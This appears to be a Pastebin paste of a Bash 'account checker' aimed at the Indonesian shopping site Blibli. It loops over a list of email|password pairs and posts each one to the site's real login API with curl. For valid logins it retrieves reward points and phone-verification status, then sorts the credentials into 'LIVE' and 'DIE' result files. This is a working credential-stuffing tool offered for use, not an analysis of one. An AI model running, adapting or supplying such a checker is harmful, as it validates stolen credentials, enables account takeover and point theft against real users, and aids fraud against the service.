HenryGlazt

Blibli.sh

Jul 12th, 2018
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 5.02 KB | None | 0 0
  1. #!/bin/bash
  2. RED='\033[0;31m'
  3. CYAN='\033[0;36m'
  4. YELLOW='\033[1;33m'
  5. ORANGE='\033[0;33m'
  6. PUR='\033[0;35m'
  7. GRN="\e[32m"
  8. WHI="\e[37m"
  9. NC='\033[0m'
  10.  
  11. echo ""
  12. printf "   $WHI ============================================================ \n"
  13. printf "   $GRN#       $RED█████╗ ██╗      ██████╗███████╗███████╗ ██████╗  $GRN  #\n"
  14. printf "   $GRN#       $RED██╔══██╗██║     ██╔════╝██╔════╝██╔════╝██╔════╝ $GRN  #\n"
  15. printf "   $GRN#       $RED███████║██║     ██║     ███████╗█████╗  ██║  $GRN  #\n"    
  16. printf "   $GRN#       $RED██╔══██║██║     ██║     ╚════██║██╔══╝  ██║  $GRN  #\n"    
  17. printf "   $GRN#       $RED██║  ██║███████╗╚██████╗███████║███████╗╚██████╗ $GRN    #\n"
  18. printf "   $GRN#       $RED╚═╝  ╚═╝╚══════╝ ╚═════╝╚══════╝╚══════╝ ╚═════╝ $GRN    #\n"
  19. printf "   $WHI ------------------------------------------------------------ \n"
  20. printf "   $YELLOW           BliBli Account Checkers                \n"
  21. printf "\n"
  22. printf "   $YELLOW            -AlchaDecode-             \n"
  23. printf "   $WHI ============================================================ \n"
  24. printf "$NC\n"
  25.  
  26.  
  27. # Asking user whenever the
  28. # parameter is blank or null
  29.   # Print available file on
  30.   # current folder
  31.   # clear
  32.   read -p "Show Directory Tree(Y/n): " show
  33.   if [[ ${show,,} == 'y' ]]; then
  34.   echo ""
  35.   tree
  36.   echo ""
  37.   fi
  38.   read -p "Enter mailist file: " inputFile
  39.   if [[ ! $inputFile ]]; then
  40.   printf "$YELLOW Please input the file \n"
  41.   exit
  42.   fi
  43.   if [ ! -e $inputFile ]; then
  44.   printf "$YELLOW File not found \n"
  45.   exit
  46.   fi
  47.  
  48.   if [[ $targetFolder == '' ]]; then
  49.   read -p "Enter target folder: " targetFolder
  50.   # Check if result folder exists
  51.   # then create if it didn't
  52.   if [[ ! $targetFolder ]]; then
  53.   echo "Creating Hasil/ folder"
  54.     mkdir Hasil
  55.     targetFolder="Hasil"
  56.   fi
  57.   if [[ ! -d "$targetFolder" ]]; then
  58.     echo "Creating $targetFolder/ folder"
  59.     mkdir $targetFolder
  60.   else
  61.     read -p "$targetFolder/ folder exists, append to them?(Y/n): " isAppend
  62.     if [[ $isAppend == 'n' ]]; then
  63.     printf "$YELLOW == Thanks For Using AlcSec == \n"
  64.       exit
  65.     fi
  66.   fi
  67. else
  68.   if [[ ! -d "$targetFolder" ]]; then
  69.     echo "Creating $targetFolder/ folder"
  70.     mkdir $targetFolder
  71.   fi
  72. fi
  73. totalLines=`grep -c "@" $inputFile`
  74. con=1
  75. printf "$CYAN=================================\n"
  76. printf "$YELLOW       CHECKING PROCESS\n"
  77. printf "$CYAN=================================\n"
  78. check(){
  79. header="`date +%H:%M:%S`"
  80. login=$(curl -s --cookie-jar cookies.txt 'https://www.blibli.com//backend/common/users/_login' -H 'origin: https://www.blibli.com' -H 'accept-encoding: gzip, deflate, br' -H 'accept-language: en-US,en;q=0.9' -H 'user-agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36' -H 'content-type: application/json;charset=UTF-8' -H 'accept: application/json, text/plain, */*' -H 'referer: https://www.blibli.com/' -H 'authority: www.blibli.com'  -H 'x-ts-ajax-request: true' --data-binary '{"username":"'$1'","password":"'$2'"}' --compressed);
  81. point=$(curl -b cookies.txt -s 'https://www.blibli.com/backend/member/rewards' -H 'accept-language: en-US,en;q=0.9' -H 'user-agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36' -H 'accept: application/json, text/plain, */*' -H 'cache-control: no-cache' -H 'authority: www.blibli.com' -H 'x-requested-with: XMLHttpRequest' -H 'referer: https://www.blibli.com/member/poin-rewards')
  82. if [[ $login = *"UNAUTHORIZED"* ]]; then
  83.   printf "$RED [ DIE ] $ORANGE[$header] $PUR[ ./Alchmst] \n";
  84.   echo "[DIE] $1|$2 - $login" >> $3/ResultBliBliDie.tmp
  85. elif [[ $login = *'"code":200,"status":"OK"'* ]]; then
  86.   active=$(echo "$point" | grep -Po '(?<="totalActivePoint":)[^,]*');
  87.   verif=$(echo "$login" | grep -Po '(?<="needVerifiedPhoneNumber":)[^,]*');
  88.   printf "$GRN [ Active Point: $active ] [ VerifPhone: $verif ] $ORANGE[$header] $PUR[ ./Alchmst] \n";
  89.   echo "[LIVE] $1|$2 - [ Active Point: $active ] [ VerifPhone: $verif ]">> $3/ResultBliBliLive.tmp
  90. else
  91.   echo $login;
  92.   echo "[UNKNOWN] $1|$2 - $login">> $3/ResultBliBliUnknown.tmp
  93. fi
  94. }
  95. SECONDS=0
  96. for mailpass in $(cat $inputFile); do
  97.     email=$(echo $mailpass | cut -d "|" -f 1)
  98.     pass=$(echo $mailpass | cut -d "|" -f 2)
  99.     jmail=${#email}
  100.     jpass=${#pass}
  101.     indexer=$((con++))
  102.     printf "$CYAN $totalLines/$indexer $NC $email|$pass - "
  103.     check $email $pass $targetFolder
  104. done
  105. duration=$SECONDS
  106. printf "$YELLOW $(($duration / 3600)) hours $(($duration / 60)) minutes and $(($duration % 60)) seconds elapsed. \n"
  107. printf "$YELLOW=============== AlcSec - AlchaDecode =============== \n"
Add Comment
Please, Sign In to add comment